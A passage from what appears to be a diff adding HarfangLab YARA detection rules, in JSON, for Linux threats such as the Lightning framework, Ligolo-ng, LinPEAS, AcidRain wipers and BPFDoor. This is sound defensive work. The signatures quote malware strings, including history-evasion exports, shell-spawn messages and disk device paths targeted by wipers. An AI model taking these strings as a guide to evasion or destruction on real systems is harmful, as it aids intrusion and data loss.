+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.Lightning"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1095"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lightning_downloader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563978Z",
+  "creation_date": "2026-03-23T11:46:25.563980Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563986Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/?s=09"
+  ],
+  "name": "lightning_downloader.yar",
+  "content": "rule linux_lightning_downloader {\n    meta:\n        title = \"Lightning C2 Downloader\"\n        id = \"e72b9525-cad8-43b5-95bc-66084a6bb133\"\n        description = \"Detects the Lightning Downloader samples that are part of the Linux Lightning malware framework.\\nLightning Downloader enables the downloading and execution of malicious payloads on infected Linux systems. It is known to establish command and control (C2) communication via SSH and includes functionality for network monitoring and traffic analysis.\\nThe framework contains various plugins, including Sshd, iftop, iptraf, and others, which are used for different malicious activities.\\nAnalysis of the samples reveals the use of specific process attributes and sleep patterns, which are employed to avoid detection and maintain persistence on the compromised system.\\nIt is recommended to isolate the affected machine and perform a thorough system scan to remove any associated malicious artifacts. Additionally, monitor network traffic for any unusual SSH activities that may indicate C2 communication.\"\n        references = \"https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/?s=09\"\n        date = \"2022-08-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1095\"\n        classification = \"Linux.Framework.Lightning\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // 48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7\n\n        $s1 = \"/usr/lib64/seahorses/\" fullword ascii\n        $s2 = \"/proc/%d/status\" fullword ascii\n        $s3 = \"/etc/rc.d/rc.local\" fullword ascii\n        $s4 = \"/etc/rc.local\" fullword ascii\n        $s5 = \"/usr/bin/whoami\" fullword ascii\n        $s6 = \"/usr/bin/find\" fullword ascii\n        $s7 = \"/usr/bin/su\" fullword ascii\n        $s8 = \"kill -9 %s\" fullword ascii\n        $s9 = \"cat /sys/class/net/%s/address\" fullword ascii\n        $s10 = \"mv %s %s\" fullword ascii\n\n        $custom_bin_str_1 = \"soss\" fullword ascii\n        $custom_bin_str_2 = \"sshod\" fullword ascii\n        $custom_bin_str_3 = \"nethoogs\" fullword ascii\n        $custom_bin_str_4 = \"iftoop\" fullword ascii\n        $custom_bin_str_5 = \"iptraof\" fullword ascii\n        $custom_bin_str_6 = \"kkdmflush\" fullword ascii\n\n        $lightning_str_1 = \"Linux.Plugin.Lightning.Sshd\" fullword ascii\n        $lightning_str_2 = \"Linux.Plugin.Lightning.iftop\" fullword ascii\n        $lightning_str_3 = \"Linux.Plugin.Lightning.iptraf\" fullword ascii\n        $lightning_str_4 = \"Lightning.Core\" fullword ascii\n        $lightning_str_5 = \"Linux.Plugin.Lightning.SsHijacker\" fullword ascii\n        $lightning_str_6 = \"Linux.Plugin.Lightning.Nethogs\" fullword ascii\n\n        $check_process_attributes = {\n            83 FD 09           // cmp     ebp, 9\n            0F 8F ?? ?? ?? ??  // jg      loc_402948\n            80 7A ?? 2E        // cmp     byte ptr [rdx+13h], 2Eh ; '.'\n            0F 84 ?? ?? ?? ??  // jz      loc_402968\n            80 7A ?? 04        // cmp     byte ptr [rdx+12h], 4\n            75 ??              // jnz     short loc_402820\n            4C 89 F8           // mov     rax, r15\n            B9 20 00 00 00     // mov     ecx, 20h ; ' '\n            4C 89 E7           // mov     rdi, r12\n        }\n\n        $sleep_and_mkdir = {\n            BF 08 07 00 00  // mov     edi, 708h       ; seconds\n            E8 ?? ?? ?? ??  // call    _sleep\n            31 FF           // xor     edi, edi        ; mask\n            E8 ?? ?? ?? ??  // call    _umask\n            BE FF 01 00 00  // mov     esi, 1FFh       ; mode\n            89 C5           // mov     ebp, ea\n        }\n\n    condition:\n        uint16(0) == 0x457f and filesize < 200KB and\n            (1 of ($lightning_str_*) or (5 of ($s*) and 3 of ($custom_bin_str_*))) and\n            ($check_process_attributes or $sleep_and_mkdir)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_lightning_downloader"
+  ],
+  "rule_creation_date": "2022-08-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.Lightning"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1095"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ligolo_agent_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.587810Z",
+  "creation_date": "2026-03-23T11:46:25.587812Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.587817Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Nicocha30/ligolo-ng"
+  ],
+  "name": "ligolo_agent.yar",
+  "content": "rule ligolo_ng_agent {\n    meta:\n        title = \"Ligolo-ng Agent\"\n        id = \"63b05e59-79ce-42df-ae60-6bb98095f1f8\"\n        description = \"Detects the Ligolo-ng tunneling tool.\\nLigolo-ng is a lightweight tunneling tool designed to create tunnels using TUN interfaces.\\nIt allows for routing traffic through a specified target (domain:port) and supports SOCKS5 proxy configurations with username and password authentication.\\nThe tool is cross-platform and can be used to establish secure communication channels.\\nIt is recommended to investigate the context around the usage of this tool to determine whether its presence on the host is legitimate.\"\n        references = \"https://github.com/Nicocha30/ligolo-ng\"\n        date = \"2023-05-15\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1572\"\n        classification = \"Framework.Ligolo-ng\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c67c7cb854e433828db08a8d089674806a991f8017d990b42bced062e85ae109\n        // b12b1b9f26385546000a723223889265edd24da4574e8edb3b3345f7f444cb37\n\n        $a1 = \"/ligolo-ng\" ascii\n        $a2 = \"socks-pass\" ascii\n        $a3 = \"ignore-cert\" ascii\n        $a4 = \"socks-user\" ascii\n\n        $b1 = \"the target (domain:port)unpacking\" ascii\n        $b2 = \"socks5 passwordsocks5 username\" ascii\n        $b3 = \"ignore-certlocal errormSpanManua\" ascii\n\n        $d1 = \"https://github.com/nicocha30/ligolo-ng\"\n        $d2 = \"Made in France with love by @Nicocha30!\"\n        $d3 = \"Ligolo-ng %s / %s / %s\"\n\n        $canary = \"8b79f0e6053345a831d6b06126455d075ed273c14fed80e3c4e3340d1cd3ae9c66a3fc616ff09a5846424998a120e8aa4f94491089cc140eb89fbe0d207d95b1\"\n\n    condition:\n        all of ($a*) or all of ($b*) or all of ($d*)\n        and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ligolo_ng_agent"
+  ],
+  "rule_creation_date": "2023-05-15",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Framework.Ligolo-ng"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linpeas_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564662Z",
+  "creation_date": "2026-03-23T11:46:25.564664Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564670Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1589/\nhttps://attack.mitre.org/techniques/T1590/\nhttps://attack.mitre.org/techniques/T1592/\nhttps://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"
+  ],
+  "name": "linpeas.yar",
+  "content": "rule linpeas_binaries {\n    meta:\n        title = \"LinPEAS Binaries\"\n        id = \"27fba6a3-b52b-4c4d-92d5-4f8886bcb8b9\"\n        description = \"Detects the LinPEAS enumeration tool, commonly used for Linux privilege escalation.\\nLinPEAS is a popular open-source tool designed to enumerate system information, services, and misconfigurations that could be exploited for privilege escalation.\\nIt is often dropped or executed by attackers during initial access to gather detailed system information and identify potential attack vectors.\\nThe tool is part of the PEASS-ng project and is widely used in post-exploitation scenarios.\"\n        references = \"https://attack.mitre.org/techniques/T1589/\\nhttps://attack.mitre.org/techniques/T1590/\\nhttps://attack.mitre.org/techniques/T1592/\\nhttps://github.com/carlospolop/PEASS-ng/tree/master/linPEAS\"\n        date = \"2022-10-17\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1589;attack.t1590;attack.t1592\"\n        classification = \"Linux.Tool.linPEAS\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n\n        // Detection for these samples:\n        // 9fa5802cf3402727101bb74ae9329a43279263ada5c248db25fd0748d12b09e5\n        // f0268b956209d3dc976??91e53119bd48157effb6ceb4764fa515211d34417e1\n\n        // Checks for 3 different types of shells.\n        $amd64_shell_check = {\n            48 8D ?? ?? ?? 01 00                // lea     rax, ???\n            BB ?? 00 00 00                      // mov     ebx, ?\n            66 90                               // xchg    ax, ax\n            E8 ?? ?? ?? FF                      // call    main_Exists\n            84 C0                               // test    al, al\n            74 ??                               // jz      short loc_??????\n            48 8D ?? ?? ?? 01 00                // lea     rax, unk_??????\n            EB ??                               // jmp             short loc_??????\n        }\n\n        // Launches the script\n        $amd64_script_launch = {\n            BB 06 00 00 00                      // mov     ebx, 6\n            BF 01 00 00 00                      // mov     edi, 1\n            48 89 FE                            // mov     rsi, rdi\n            48 8D ?? ?? ?? 01 00                // lea     rax, unk_??????\n            48 8D ?? ?? ?? 00 00 00             // lea     rcx, [rsp+0??h+var_18]\n            E8 ?? ?? FF FF                      // call    os_exec_Command\n            48 89 ?? ?? ??                      // mov     [rsp+0??h+var_50], rax\n            48 8B ?? ?? ??                      // mov     rbx, [rsp+0??h+var_90]\n            31 C9                               // xor     ecx, ecx\n            31 FF                               // xor     edi, edi\n            48 89 FE                            // mov     rsi, rdi\n            48 8B ?? ?? ??                      // mov     rax, [rsp+0??h+var_??]\n            E8 ?? ?? FF FF                      // call    os_exec_Command\n            48 89 ?? ?? ??                      // mov     [rsp+0??h+var_??], rax\n            48 8B ?? ?? ?? 1C 00                // mov     rdx, cs:main_scriptB64\n            48 89 ?? ?? ??                      // mov     [rsp+0??h+var_??], rdx\n            4C 8B ?? ?? ?? 1C 00                // mov     r8, cs:qword_6659B8\n            4C 89 ?? 24 ??                      // mov     [rsp+0??h+var_??], r8\n            48 8D ?? ?? ?? ?? 00                // lea     rax, RTYPE_strings_Reader\n            E8 ?? ?? F7 FF                      // call    runtime_newobject\n            48 8B ?? 24 ??                      // mov     rdx, [rsp+0??h+var_??]\n            48 89 50 08                         // mov     [rax+8], rdx\n            83 3D ?? ?? ?? 00 00                // cmp     cs:runtime_writeBarrier, 0\n            90                                  // nop\n    }\n\n        // Checks for 3 different types of shell\n        $836_shell_check = {\n            8D 05 ?? ?? ?? 08                   // lea     eax, aBin?sh    ; \"/bin/?sh\"\n            89 04 ??                            // mov     [esp+??h+name.str], eax ; name\n            C7 ?? ?? ?? 08 00 00 00             // mov     [esp+??h+name.len], 8\n            E8 ?? ?? ?? FF                      // call    main_Exists\n            0F B6 ?? ?? 08                      // movzx   eax, byte ptr [esp+??h+arg.array]\n            84 C0                               // test    al, al\n            74 08                               // jz      short loc_??????\n            8D 05 ?? ?? ?? 08                   // lea     eax, aBin?sh    ; \"/bin/?sh\"\n            EB ??                               // jmp     short loc_??????\n            }\n\n        // Launches the script\n        $836_script_launch = {\n            89 ?? ?? 2C                         // mov     [esp+??h+var_44], eax\n            89 4C ?? 38                         // mov     [esp+??h+var_38.str], ecx\n            C7 ?? ?? ?? 00 00 00 00             // mov     [esp+??h+a.cap], 0\n            C7 ?? ?? ?? 00 00 00 00             // mov     [esp+??h+var_4], 0\n            8D 15 ?? ?? ?? ??                   // lea     edx, unk_???????\n            89 ?? ?? ??                         // mov     [esp+??h+a.cap], edx\n            C7 ?? ?? ?? 02 00 00 00             // mov     [esp+??h+var_4], 2\n            8D ?? ?? ?? ?? 08                   // lea     edx, aBase64    ; \"base64\"\n            89 ?? ??                            // mov     [esp+??h+name.str], edx ; name\n            C7 ?? ?? ?? 06 00 00 00             // mov     [esp+??h+name.len], 6\n            8D 54 ?? ??                         // lea     edx, [esp+??h+a.cap]\n            89 54 ?? 08                         // mov     [esp+??h+arg.array], edx ; arg\n            C7 ?? ?? ?? 01 00 00 00             // mov     [esp+??h+arg.len], 1\n            C7 ?? ?? ?? 01 00 00 00             // mov     [esp+??h+arg.cap], 1\n            E8 ?? ?? ?? FF                      // call    os_exec_Command\n        }\n\n    condition:\n        (uint16(0) == 0x457f) and ((#amd64_shell_check > 1 and $amd64_script_launch) or (#836_shell_check > 1 and $836_script_launch))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linpeas_binaries"
+  ],
+  "rule_creation_date": "2022-10-17",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Tool.linPEAS"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1589",
+    "attack.t1592",
+    "attack.t1590"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linux_acidwipers_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572810Z",
+  "creation_date": "2026-03-23T11:46:25.572813Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572818Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.youtube.com/watch?v=Y1lzm3sZ_ao\nhttps://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/\nhttps://twitter.com/juanandres_gs/status/1769731460674494716"
+  ],
+  "name": "linux_acidwipers.yar",
+  "content": "rule acidwipers_strings {\n    meta:\n        title = \"AcidPour Wiper\"\n        id = \"e03b4ea0-5a22-4f9a-bf23-3b76edd06e0e\"\n        description = \"Detects the AcidWiper malware.\\nAcidWiper is a wiper targeting Linux platforms on Intel or MIPS architectures. It is commonly known as AcidRain, CosmicWiper, and AcidPour.\\nCosmicWiper is notably associated with the KA-SAT modems disruption in February 2022.\"\n        references = \"https://www.youtube.com/watch?v=Y1lzm3sZ_ao\\nhttps://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/\\nhttps://twitter.com/juanandres_gs/status/1769731460674494716\"\n        date = \"2024-03-21\"\n        modified = \"2025-03-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1083;attack.impact;attack.t1485\"\n        classification = \"Linux.Wiper.AcidWiper\"\n        os = \"Linux\"\n        context = \"process,file.elf\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a\n        // 6a8824048417abe156a16455b8e29170f8347312894fde2aabe644c4995d7728\n\n        $s1 = \"/dev/sdX\" ascii\n        $s2 = \"/dev/mtd\" ascii\n        $s3 = \"/dev/ubiXX\" ascii\n        $s4 = /\\/usr\\/(s)?bin\\/reboot/ ascii\n        $s5 = /\\/dev\\/(block\\/)?mtdblockXX/ ascii\n        $s6 = /\\/dev\\/(block\\/)?mmcblk/ ascii\n        $s7 = \"Look out!\" ascii fullword\n\n    condition:\n        uint32be(0) == 0x7F454C46\n        and filesize > 5KB and filesize < 100KB\n        and ( 5 of ($s*) )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "acidwipers_strings"
+  ],
+  "rule_creation_date": "2024-03-21",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Wiper.AcidWiper"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1485"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linux_backdoor_bpfdoor_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564541Z",
+  "creation_date": "2026-03-23T11:46:25.564543Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564548Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
+  ],
+  "name": "linux_backdoor_bpfdoor.yar",
+  "content": "rule linux_bpfdoor {\n    meta:\n        title = \"BPFDoor Backdoor\"\n        id = \"442ae216-db1d-4e20-8249-007bca87d41c\"\n        description = \"Detects the passive network implant BPFDoor associated with Red Menshen.\\nBPFDoor is a backdoor that allows attackers to establish persistence on a compromised system by using a BPF (Berkeley Packet Filter) for communication.\\nIf a packet is observed that matches the BPF filters and contains the required data, it is passed to the backdoor for processing.\\nIt is recommended to investigate for additional malicious files related to the BPFDoor backdoor.\"\n        references = \"https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896\"\n        date = \"2022-05-10\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1573.001;attack.t1095\"\n        classification = \"Linux.Backdoor.BPFDoor\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // 591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78\n\n        $string_v1_1 = \"export TERM=vt100\" ascii fullword\n        $string_v1_2 = \"export MYSQL_HISTFILE=/dev/null\" ascii fullword\n        $string_v1_3 = \"export HISTFILE=/dev/null\" ascii fullword\n        $string_v1_4 = \"export PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin\" ascii fullword\n        $string_v1_5 = \"unset PROMPT_COMMAND\" ascii fullword\n        $string_v1_6 = \"export HISTSIZE=100\" ascii fullword\n        $string_v1_7 = \"[+] Spawn shell ok.\" ascii fullword\n        $string_v1_8 = \"3458\" ascii fullword\n        $string_v1_9 = \"[+] crypt\" ascii fullword\n        $string_v1_10 = \"[roo\" ascii fullword\n\n        // Detection for these samples :\n        // 07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d\n        // 144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3\n        // 2e0aa3da45a0360d051359e1a038beff8551b957698f21756cfc6ed5539e4bdb\n        // 3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155\n        // 4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d\n        // 5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9\n        // 5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3\n        // 74ef6cc38f5a1a80148752b63c117e6846984debd2af806c65887195a8eccc56\n        // 8b84336e73c6a6d154e685d3729dfa4e08e4a3f136f0b2e7c6e5970df9145e95\n        // 97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc\n        // a002f27f1abb599f24e727c811efa36d2d523e586a82134e9b3e8454dde6a089\n        // ac06771774538f33b0e95a92ae1a3e8aaf27e188b51700a03c14ca097af09cac\n        // bd353a28886815f43fe71c561a027fdeff5cd83e17e2055c0e52bea344ae51d3\n        // c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276\n        // c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c\n        // db91fce6304a787a8602ced95eda81aa6a000fbb645c63f36da79e9663f3794b\n        // dfdabe9013e783535a76407b61b63e97db283daab202218077cc0b846b3caa42\n        // f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72\n        // f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27\n        // fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73\n        // fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a\n        // fe9f3b7451913f184e1f53b52a03a981dcea5564633cfcb70d01bd0aec8f30a7\n\n        $string_v2_1 = \"/sbin/udevd -d\" ascii fullword\n        $string_v2_2 = \"/sbin/mingetty /dev/tty\" ascii\n        $string_v2_3 = \"/usr/sbin/console-kit-daemon --no-daemon\" ascii fullword\n        $string_v2_4 = \"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event\" ascii fullword\n        $string_v2_5 = \"dbus-daemon --system\" ascii fullword\n        $string_v2_6 = \"hald-runner\" ascii fullword\n        $string_v2_7 = \"pickup -l -t fifo -u\" ascii fullword\n        $string_v2_8 = \"avahi-daemon: chroot helper\" ascii fullword\n        $string_v2_9 = \"/sbin/auditd -n\" ascii fullword\n        $string_v2_10 = \"/usr/lib/systemd/systemd-journald\" ascii fullword\n\n        // Detection for these samples :\n        // 599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683\n        // 96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9\n\n        $string_v3_1 = \"%02x\" ascii fullword\n        $string_v3_2 = \"/dev/ptm\" ascii\n        $string_v3_3 = \"ptem\" ascii fullword\n        $string_v3_4 = \"ldterm\" ascii fullword\n        $string_v3_5 = \"ttcompat\" ascii fullword\n        $string_v3_6 = \"3458\" ascii fullword\n        $string_v3_7 = \"/usr/lib/systemd/systemd-machined\" ascii fullword\n        $string_v3_8 = \"grantpt\" ascii fullword\n        $string_v3_9 = \"ptsname\" ascii fullword\n        $string_v3_10 = \"vhangup\" ascii fullword\n\n        // Detection for this sample :\n        // 54a4b3c2ac34f1913634ab9be5f85cde19445d01260bb15bcd1d52ebcc85af2c\n\n        $string_v4_1 = \"\\\\x4a\\\\x8a\\\\xba\\\\xab\\\\xa8\\\\x80\\\\xf7\\\\xf0\\\\x24\\\\xc6\\\\xa5\\\\x4b\\\\x4a\\\\xb4\\\\x0d\\\\xdd\\\\xe4\\\\xc6\\\\xff\\\\x80\\\\x75\\\\x0e\\\\xb7\\\\x25\\\\x7c\\\\x95\\\\xb2\\\\x9a\\\\xe6\\\\x6c\\\\xa6\\\\x87\\\\xb2\\\\xcc\\\\x06\\\\xff\\\\x26\\\\xd2\\\\x3d\\\\xff\\\\x26\\\\x7e\\\\x37\\\\x1b\\\\x10\\\\xd3\\\\x1b\\\\x51\\\\xac\\\\x7b\\\\x81\\\\x60\\\\x08\\\\xf8\\\\x50\\\\xec\\\\x05\\\\x90\\\\x68\\\\x4b\\\\xff\\\\x44\\\\x14\\\\x8b\" ascii fullword\n        $string_v4_2 = \"Start time\" ascii fullword\n        $string_v4_3 = \"/sbin/mingetty\" ascii fullword\n        $string_v4_4 = \"PS1=[\\\\u@\\\\h \\\\W]\\\\\\\\$\" ascii fullword\n        $string_v4_5 = \"HISTFILE=/dev/null\" ascii fullword\n        $string_v4_6 = \"MYSQL_HISTFILE=/dev/null\" ascii fullword\n        $string_v4_7 = \"PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin\" ascii fullword\n        $string_v4_8 = \"Cant fork pty\" ascii fullword\n\n        // Detection for these samples :\n        // 07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d\n        // 144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3\n        // 3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155\n        // 4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d\n        // 599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683\n        // 5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9\n        // 